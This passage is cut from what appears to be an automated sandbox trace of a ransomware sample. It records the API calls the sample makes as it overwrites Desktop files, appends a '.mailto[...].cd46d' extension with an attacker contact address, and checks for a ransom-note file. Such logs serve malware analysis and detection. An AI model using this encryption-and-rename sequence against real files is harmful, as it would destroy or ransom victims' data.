BaseAddress=0x95d0970) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2e0) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee90) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce2b0) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee68) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460288) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460328) returned 1 [0053.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460350) returned 1 [0053.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x95d0928 [0053.584] wcscpy (in: _Dest=0x95d0928, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi" [0053.584] wcscat (in: _Dest=0x95d0928, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi.mailto[2Hamlampampom@cock.li].cd46d" [0053.584] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfb6fb54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\ndxxZYVQ.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.585] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x5e47cf0 [0054.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47cf0) returned 1 [0054.720] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49fbe8) returned 1 [0054.720] NtQueryInformationFile (in: FileHandle=0xb70, IoStatusBlock=0xfb6fb60, FileInformation=0xfb6fb38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfb6fb60, FileInformation=0xfb6fb38) returned 0x0 [0054.720] NtSetInformationFile (FileHandle=0xb70, IoStatusBlock=0xfb6fb60, FileInformation=0xfb6fb38, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.131] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0928) returned 1 [0056.131] FlushFileBuffers (hFile=0xb70) returned 1 [0056.137] CloseHandle (hObject=0xb70) returned 1 [0056.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29fb8 [0056.511] wcscpy (in: _Dest=0x12e29fb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.511] wcscat (in: _Dest=0x12e29fb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.511] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29fb8) returned 1 [0056.808] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45edb8) returned 1 Thread: id = 635 os_tid = 0x7b4 [0050.651] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\up7a2bol2tynmiv.png")) returned 0x20 [0050.651] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png", dwFileAttributes=0x20) returned 1 [0050.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\up7a2bol2tynmiv.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb74 [0050.652] GetFileSizeEx (in: hFile=0xb74, lpFileSize=0xf89f990 | out: lpFileSize=0xf89f990*=26330) returned 1 [0050.652] SetFilePointerEx (in: hFile=0xb74, liDistanceToMove=0x66d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.652] ReadFile (in: hFile=0xb74, lpBuffer=0xf89f914, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf89f910, lpOverlapped=0x0 | out: lpBuffer=0xf89f914*, lpNumberOfBytesRead=0xf89f910*=0x4, lpOverlapped=0x0) returned 1 [0050.653] SetFilePointerEx (in: hFile=0xb74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460300 [0050.653] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460378 [0050.653] NtQuerySystemTime (in: CurrentTime=0xf89f8f0 | out: CurrentTime=0xf89f8f0*=132174898146300000) returned 0x0 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x11022abc [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x2f46f273 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x3f63f367 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x454cd856 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x39d1373e [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x35960c4d [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x40faee07 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x28984f89 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x42968575 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x4dd8fe89 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x35cd65ca [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0xb5b8187 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x1efb1a60 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x490b6cbe [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x5b62b6b4 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x41911248 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x680a47d9 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x7e3d9e67 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x339cb512 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x1d52d2ad [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x32aa0687 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x1620d4d6 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x4e0fda19 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x378ed788 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x791a4faa [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x35697c41 [0050.653] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x70a8703a [0050.654] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x74afd7c1 [0050.654] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x2812363e [0050.654] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x21a7087c [0050.654] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x4fb6f492 [0050.654] RtlRandomEx (in: Seed=0xf89f8fc | out: Seed=0xf89f8fc) returned 0x3db7745a [0050.666] ReadFile (in: hFile=0xb74, lpBuffer=0x12c248d0, nNumberOfBytesToRead=0x66da, lpNumberOfBytesRead=0xf89f8ec, lpOverlapped=0x0 | out: lpBuffer=0x12c248d0*, lpNumberOfBytesRead=0xf89f8ec*=0x66da, lpOverlapped=0x0) returned 1 [0050.667] SetFilePointerEx (in: hFile=0xb74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.667] WriteFile (in: hFile=0xb74, lpBuffer=0x12c310d8*, nNumberOfBytesToWrite=0x66da, lpNumberOfBytesWritten=0xf89f8e8, lpOverlapped=0x0 | out: lpBuffer=0x12c310d8*, lpNumberOfBytesWritten=0xf89f8e8*=0x66da, lpOverlapped=0x0) returned 1 [0053.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceeb8 [0053.369] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceee0 [0053.369] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceee0) returned 1 [0053.369] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c310d8) returned 1 [0053.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c248d0) returned 1 [0053.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43adf8) returned 1 [0053.370] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb38) returned 1 [0053.370] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x33) returned 0x440fa0 [0053.370] SetFilePointerEx (in: hFile=0xb74, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.370] WriteFile (in: hFile=0xb74, lpBuffer=0x95d0a88*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0xf89f950, lpOverlapped=0x0 | out: lpBuffer=0x95d0a88*, lpNumberOfBytesWritten=0xf89f950*=0x117, lpOverlapped=0x0) returned 1 [0053.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0a88) returned 1 [0053.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fe0) returned 1 [0053.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceee0) returned 1 [0053.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440fa0) returned 1 [0053.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceeb8) returned 1 [0053.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460300) returned 1 [0053.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603a0) returned 1 [0053.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603c8) returned 1 [0053.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d970 [0053.586] wcscpy (in: _Dest=0x40d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png" [0053.586] wcscat (in: _Dest=0x40d970, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png.mailto[2Hamlampampom@cock.li].cd46d" [0053.586] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf89f908, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\UP7a2boL2tYnMIv.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x5e47dd0 [0054.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47dd0) returned 1 [0054.722] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49fe10) returned 1 [0054.722] NtQueryInformationFile (in: FileHandle=0xb74, IoStatusBlock=0xf89f914, FileInformation=0xf89f8ec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf89f914, FileInformation=0xf89f8ec) returned 0x0 [0054.722] NtSetInformationFile (FileHandle=0xb74, IoStatusBlock=0xf89f914, FileInformation=0xf89f8ec, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.125] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0056.126] FlushFileBuffers (hFile=0xb74) returned 1 [0056.132] CloseHandle (hObject=0xb74) returned 1 [0056.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29e98 [0056.505] wcscpy (in: _Dest=0x12e29e98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.505] wcscat (in: _Dest=0x12e29e98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.505] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.805] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29e98) returned 1 [0056.805] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4178f0) returned 1 Thread: id = 636 os_tid = 0x8a8 [0050.677] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\v9w18ipn.swf")) returned 0x20 [0050.677] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf", dwFileAttributes=0x20) returned 1 [0050.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\v9w18ipn.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb78 [0050.677] GetFileSizeEx (in: hFile=0xb78, lpFileSize=0xfd6fa68 | out: lpFileSize=0xfd6fa68*=78793) returned 1 [0050.677] SetFilePointerEx (in: hFile=0xb78, liDistanceToMove=0x133c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.678] ReadFile (in: hFile=0xb78, lpBuffer=0xfd6f9ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfd6f9e8, lpOverlapped=0x0 | out: lpBuffer=0xfd6f9ec*, lpNumberOfBytesRead=0xfd6f9e8*=0x4, lpOverlapped=0x0) returned 1 [0050.678] SetFilePointerEx (in: hFile=0xb78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460378 [0050.678] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.678] NtQuerySystemTime (in: CurrentTime=0xfd6f9c8 | out: CurrentTime=0xfd6f9c8*=132174898146612000) returned 0x0 [0050.678] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x1558c5c8 [0050.678] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x396e43e [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x137fa7b0 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x4d5c913d [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x6927d5f3 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2d02f3a7 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x466829d5 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2f928805 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x1766c141 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x55caddff [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x705e5578 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x1a51f285 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2a8fa863 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x3cb58ee [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x3dd4fdac [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x3f631ae [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x5efb4478 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x5d1df07d [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x61af9bf5 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2e8d1567 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x250de8f4 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0xf8079f [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2cf69951 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x376430f8 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2fa6c907 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x4efb55fe [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x443e67b4 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x78994101 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x2fb1757e [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x7f387f4 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x6021ae50 [0050.679] RtlRandomEx (in: Seed=0xfd6f9d4 | out: Seed=0xfd6f9d4) returned 0x55df2db4 [0050.691] SetFilePointerEx (in: hFile=0xb78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.691] ReadFile (in: hFile=0xb78, lpBuffer=0x12c3d8e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfd6f9a8, lpOverlapped=0x0 | out: lpBuffer=0x12c3d8e0*, lpNumberOfBytesRead=0xfd6f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0050.692] SetFilePointerEx (in: hFile=0xb78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bb80 [0050.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43ae70 [0050.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.692] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0050.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12c4a0e8 [0050.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460170 [0050.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.696] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0050.696] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ae70) returned 1 [0050.696] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0050.696] WriteFile (in: hFile=0xb78, lpBuffer=0x12c4a0e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfd6f9a8, lpOverlapped=0x0 | out: lpBuffer=0x12c4a0e8*, lpNumberOfBytesWritten=0xfd6f9a8*=0xc800, lpOverlapped=0x0) returned 1 [0053.372] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c4a0e8) returned 1 [0053.372] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c3d8e0) returned 1 [0053.372] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce310 [0053.372] SetFilePointerEx (in: hFile=0xb78, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.372] WriteFile (in: hFile=0xb78, lpBuffer=0x95d0ba8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xfd6fa28, lpOverlapped=0x0 | out: lpBuffer=0x95d0ba8*, lpNumberOfBytesWritten=0xfd6fa28*=0x109, lpOverlapped=0x0) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0ba8) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce340) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef08) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce310) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460170) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460378) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460418) returned 1 [0053.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460440) returned 1 [0053.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d2d0 [0053.591] wcscpy (in: _Dest=0x12f4d2d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf" [0053.591] wcscat (in: _Dest=0x12f4d2d0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf.mailto[2Hamlampampom@cock.li].cd46d" [0053.591] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfd6f9e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\V9w18IpN.swf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.591] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x95d09f0 [0054.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d09f0) returned 1 [0054.723] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0038) returned 1 [0054.723] NtQueryInformationFile (in: FileHandle=0xb78, IoStatusBlock=0xfd6f9ec, FileInformation=0xfd6f9c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfd6f9ec, FileInformation=0xfd6f9c4) returned 0x0 [0054.723] NtSetInformationFile (FileHandle=0xb78, IoStatusBlock=0xfd6f9ec, FileInformation=0xfd6f9c4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.128] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d2d0) returned 1 [0056.128] FlushFileBuffers (hFile=0xb78) returned 1 [0056.136] CloseHandle (hObject=0xb78) returned 1 [0056.510] 